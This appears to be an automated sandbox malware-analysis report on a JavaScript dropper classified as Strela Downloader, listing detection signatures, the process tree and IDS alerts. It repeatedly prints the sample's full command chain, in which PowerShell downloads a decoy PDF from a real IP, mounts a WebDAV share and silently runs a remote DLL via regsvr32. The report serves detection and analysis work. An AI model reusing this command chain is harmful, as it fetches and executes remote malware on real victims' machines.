Edit tour

Windows Analysis Report
13211101981378323787.js

Overview

General Information

Sample name:	13211101981378323787.js
Analysis ID:	1588676
MD5:	fbe3e10fa745e5b3a01a32c53604bb25
SHA1:	24c7a7a8b8d78b0b2b5378fcc8087ded963bde35
SHA256:	782642075343595c1fdec64304787311ab69548259ccd234cf8ebf7cafed86bc
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2220 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3556 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5592 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6408 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2796 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5332 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1660,i,6849184193499475424,2132944793090151533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3788 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2972 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5232 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2220	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3556, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5592, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3556, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5592, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", ProcessId: 2220, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2972, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 3556, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 3556, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 3556, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 3556, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 3556, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", ProcessId: 2220, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3556, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5592, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2972, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5232, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2972, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2220, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll, ProcessId: 3556, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:04:51.202784+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:04:53.431408+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:04:51.202784+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 13211101981378323787.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 13211101981378323787.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:04:50 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
